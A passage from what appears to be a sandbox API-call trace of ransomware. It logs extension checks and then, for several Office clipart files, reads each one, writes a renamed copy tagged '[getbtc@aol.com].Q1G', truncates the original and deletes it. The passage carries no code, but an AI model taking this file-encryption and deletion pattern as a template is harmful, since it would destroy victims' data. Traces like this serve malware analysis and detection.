returned 3 [0243.614] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0243.614] lstrlenW (lpString=".dbf") returned 4 [0243.614] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0243.614] lstrlenW (lpString=".1cd") returned 4 [0243.614] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0243.614] lstrlenW (lpString=".jpg") returned 4 [0243.614] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0243.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0243.614] lstrlenW (lpString=".doc") returned 4 [0243.614] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.614] lstrlenW (lpString=".docx") returned 5 [0243.614] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.615] lstrlenW (lpString=".pdf") returned 4 [0243.615] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.615] lstrlenW (lpString=".xls") returned 4 [0243.615] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.615] lstrlenW (lpString=".xlsx") returned 5 [0243.615] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.615] lstrlenW (lpString=".ppt") returned 4 [0243.615] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0243.615] lstrlenW (lpString=".zip") returned 4 [0243.615] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.615] lstrlenW (lpString=".rar") returned 4 [0243.615] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.615] lstrlenW (lpString=".bz2") returned 4 [0243.615] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.615] lstrlenW (lpString=".7z") returned 3 [0243.615] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0243.615] lstrlenW (lpString=".dbf") returned 4 [0243.615] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0243.615] lstrlenW (lpString=".1cd") returned 4 [0243.615] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0243.615] lstrlenW (lpString=".jpg") returned 4 [0243.615] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.615] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0243.615] lstrlenW (lpString="BL00242_.WMF") returned 12 [0243.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0243.616] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=4024) returned 1 [0243.616] CloseHandle (hObject=0x37c) returned 1 [0243.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf")) returned 0x20 [0243.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0243.616] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.617] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0243.617] GetLastError () returned 0x0 [0243.617] ReadFile (in: hFile=0x37c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xfb8, lpOverlapped=0x0) returned 1 [0243.822] WriteFile (in: hFile=0x3a4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xfc0, lpOverlapped=0x0) returned 1 [0243.824] ReadFile (in: hFile=0x37c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.824] WriteFile (in: hFile=0x3a4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.824] SetEndOfFile (hFile=0x3a4) returned 1 [0243.824] CloseHandle (hObject=0x3a4) returned 1 [0243.824] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.824] SetEndOfFile (hFile=0x37c) returned 1 [0243.826] CloseHandle (hObject=0x37c) returned 1 [0243.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.862] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf")) returned 1 [0243.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0243.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0243.920] lstrlenW (lpString=".doc") returned 4 [0243.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.920] lstrlenW (lpString=".docx") returned 5 [0243.920] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.920] lstrlenW (lpString=".pdf") returned 4 [0243.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.920] lstrlenW (lpString=".xls") returned 4 [0243.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.920] lstrlenW (lpString=".xlsx") returned 5 [0243.920] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.920] lstrlenW (lpString=".ppt") returned 4 [0243.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0243.920] lstrlenW (lpString=".zip") returned 4 [0243.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.920] lstrlenW (lpString=".rar") returned 4 [0243.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.920] lstrlenW (lpString=".bz2") returned 4 [0243.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.921] lstrlenW (lpString=".7z") returned 3 [0243.921] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0243.921] lstrlenW (lpString=".dbf") returned 4 [0243.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0243.921] lstrlenW (lpString=".1cd") returned 4 [0243.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0243.921] lstrlenW (lpString=".jpg") returned 4 [0243.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0243.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0243.921] lstrlenW (lpString=".doc") returned 4 [0243.921] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.921] lstrlenW (lpString=".docx") returned 5 [0243.921] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.921] lstrlenW (lpString=".pdf") returned 4 [0243.921] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.921] lstrlenW (lpString=".xls") returned 4 [0243.921] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.921] lstrlenW (lpString=".xlsx") returned 5 [0243.921] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.921] lstrlenW (lpString=".ppt") returned 4 [0243.921] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0243.921] lstrlenW (lpString=".zip") returned 4 [0243.921] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.921] lstrlenW (lpString=".rar") returned 4 [0243.921] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.921] lstrlenW (lpString=".bz2") returned 4 [0243.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.921] lstrlenW (lpString=".7z") returned 3 [0243.921] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0243.922] lstrlenW (lpString=".dbf") returned 4 [0243.922] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0243.922] lstrlenW (lpString=".1cd") returned 4 [0243.922] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0243.922] lstrlenW (lpString=".jpg") returned 4 [0243.922] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.922] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0243.922] lstrlenW (lpString="BL00265_.WMF") returned 12 [0243.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0243.939] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=5752) returned 1 [0243.939] CloseHandle (hObject=0x39c) returned 1 [0243.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf")) returned 0x20 [0243.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0243.940] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.940] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0243.940] GetLastError () returned 0x0 [0243.940] ReadFile (in: hFile=0x39c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x1678, lpOverlapped=0x0) returned 1 [0243.953] WriteFile (in: hFile=0x398, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x1680, lpOverlapped=0x0) returned 1 [0243.954] ReadFile (in: hFile=0x39c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.954] WriteFile (in: hFile=0x398, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.954] SetEndOfFile (hFile=0x398) returned 1 [0244.001] CloseHandle (hObject=0x398) returned 1 [0244.001] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.001] SetEndOfFile (hFile=0x39c) returned 1 [0244.026] CloseHandle (hObject=0x39c) returned 1 [0244.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.385] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf")) returned 1 [0244.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0244.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0244.400] lstrlenW (lpString=".doc") returned 4 [0244.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.400] lstrlenW (lpString=".docx") returned 5 [0244.400] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.400] lstrlenW (lpString=".pdf") returned 4 [0244.400] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.400] lstrlenW (lpString=".xls") returned 4 [0244.400] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.400] lstrlenW (lpString=".xlsx") returned 5 [0244.400] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.400] lstrlenW (lpString=".ppt") returned 4 [0244.400] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0244.400] lstrlenW (lpString=".zip") returned 4 [0244.400] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.400] lstrlenW (lpString=".rar") returned 4 [0244.400] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.400] lstrlenW (lpString=".bz2") returned 4 [0244.400] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.400] lstrlenW (lpString=".7z") returned 3 [0244.400] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0244.400] lstrlenW (lpString=".dbf") returned 4 [0244.400] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0244.400] lstrlenW (lpString=".1cd") returned 4 [0244.400] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0244.400] lstrlenW (lpString=".jpg") returned 4 [0244.401] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0244.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0244.401] lstrlenW (lpString=".doc") returned 4 [0244.401] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.401] lstrlenW (lpString=".docx") returned 5 [0244.401] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.401] lstrlenW (lpString=".pdf") returned 4 [0244.401] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.401] lstrlenW (lpString=".xls") returned 4 [0244.401] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.401] lstrlenW (lpString=".xlsx") returned 5 [0244.401] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.401] lstrlenW (lpString=".ppt") returned 4 [0244.401] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0244.401] lstrlenW (lpString=".zip") returned 4 [0244.401] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.401] lstrlenW (lpString=".rar") returned 4 [0244.401] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.401] lstrlenW (lpString=".bz2") returned 4 [0244.401] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.401] lstrlenW (lpString=".7z") returned 3 [0244.401] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0244.401] lstrlenW (lpString=".dbf") returned 4 [0244.401] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0244.401] lstrlenW (lpString=".1cd") returned 4 [0244.401] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0244.401] lstrlenW (lpString=".jpg") returned 4 [0244.401] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.402] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0244.402] lstrlenW (lpString="BL00269_.WMF") returned 12 [0244.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0244.402] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=5272) returned 1 [0244.402] CloseHandle (hObject=0x3a4) returned 1 [0244.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf")) returned 0x20 [0244.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0244.403] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.403] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0244.403] GetLastError () returned 0x0 [0244.403] ReadFile (in: hFile=0x3a4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x1498, lpOverlapped=0x0) returned 1 [0244.405] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x14a0, lpOverlapped=0x0) returned 1 [0244.406] ReadFile (in: hFile=0x3a4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0244.406] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0244.406] SetEndOfFile (hFile=0x360) returned 1 [0244.406] CloseHandle (hObject=0x360) returned 1 [0244.406] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.406] SetEndOfFile (hFile=0x3a4) returned 1 [0244.408] CloseHandle (hObject=0x3a4) returned 1 [0244.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.409] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf")) returned 1 [0244.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0244.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0244.409] lstrlenW (lpString=".doc") returned 4 [0244.409] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.409] lstrlenW (lpString=".docx") returned 5 [0244.409] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.409] lstrlenW (lpString=".pdf") returned 4 [0244.409] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.409] lstrlenW (lpString=".xls") returned 4 [0244.409] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.410] lstrlenW (lpString=".xlsx") returned 5 [0244.410] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.410] lstrlenW (lpString=".ppt") returned 4 [0244.410] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0244.410] lstrlenW (lpString=".zip") returned 4 [0244.410] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.410] lstrlenW (lpString=".rar") returned 4 [0244.410] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.410] lstrlenW (lpString=".bz2") returned 4 [0244.410] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.410] lstrlenW (lpString=".7z") returned 3 [0244.410] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0244.410] lstrlenW (lpString=".dbf") returned 4 [0244.410] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0244.410] lstrlenW (lpString=".1cd") returned 4 [0244.410] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0244.410] lstrlenW (lpString=".jpg") returned 4 [0244.410] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.410] lstrlenW 